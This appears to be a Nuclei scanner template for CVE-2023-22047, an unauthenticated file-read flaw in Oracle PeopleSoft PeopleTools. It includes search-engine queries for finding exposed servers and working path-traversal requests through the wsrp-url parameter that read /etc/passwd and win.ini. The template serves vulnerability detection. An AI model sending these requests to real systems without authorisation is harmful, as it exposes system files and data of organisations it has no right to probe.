CVE-2023-22047: Oracle Peoplesoft - Unauthenticated File Read

id: CVE-2023-22047

info:
  name: Oracle Peoplesoft - Unauthenticated File Read
  author: tuo4n8
  severity: high
  description: |
    Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal).  Supported versions that are affected are 8.59 and  8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22047
    - https://x.com/tuo4n8/status/1907279143517266286
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22047
    epss-score: 0.91427
    epss-percentile: 0.99651
    cpe: cpe:2.3:a:oracle:peoplesoft_enterprise:8.59:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: peoplesoft_enterprise
    shodan-query: http.title:"oracle peoplesoft enterprise"
    fofa-query: title="oracle peoplesoft enterprise"
    google-query: intitle:"oracle peoplesoft enterprise"
  tags: cve,cve2023,oracle,peoplesoft,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/RP?wsrp-url=file:///etc/passwd"
      - "{{BaseURL}}/RP?wsrp-url=file:///c:\\windows\\win.ini"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bit app support"
        condition: or

      - type: word
        part: content_type
        words:
          - "content/unknown"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bb40c5b6661763004bed6b1a4742ef1dcefc9733f7d30335f99aa20ffd5b9a830221008e4d8d9fffa916e7a35c12c7ca0dc9bec07215938078fc1231a1df5a462ab178:922c64590222798bb761d5b6d8e72950